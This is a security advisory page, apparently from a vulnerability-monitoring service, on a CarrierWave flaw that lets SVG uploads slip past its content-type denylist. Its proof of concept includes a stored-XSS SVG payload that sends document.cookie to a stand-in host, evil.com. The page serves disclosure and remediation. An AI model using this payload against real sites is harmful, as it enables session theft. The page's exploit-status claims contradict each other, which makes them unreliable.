Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-7g26-2qgj-chfg
No affected components available
Summary
CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.
Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.
Details
In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:
def denylisted_content_type?(denylist, content_type)
Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
Array(allowlist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
end
Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.
Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:
rubydef denylisted_content_type?(denylist, content_type)
Array(denylist).any? do |item|
item = Regexp.quote(item) if item.class != Regexp
content_type =~ /\A#{item}/
end
end
PoC
app.rb
require "sinatra"
require "carrierwave"
require "fileutils"
FileUtils.mkdir_p("uploads/files")
CarrierWave.configure do |config|
config.root = File.expand_path("uploads")
config.store_dir = "files"
end
class VaultUploader < CarrierWave::Uploader::Base
storage :file
def store_dir = "files"
def content_type_denylist = %w[image/svg+xml]
end
post "/upload" do
content_type :json
san = CarrierWave::SanitizedFile.new(
tempfile: params[:file][:tempfile],
filename: params[:file][:filename],
content_type: params[:file][:type]
)
uploader = VaultUploader.new
begin
uploader.store!(san)
{ result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
rescue CarrierWave::IntegrityError => e
{ result: "blocked", message: e.message }.to_json
end
end
bundle exec ruby app.rb &
echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg
curl -X POST http://localhost:4567/upload \
-F "file=@xss.svg;type=image/svg+xml"
Expected response (denylist working):
json{ "result": "blocked", "message": "..." }
Actual response:
json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }
Impact
Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard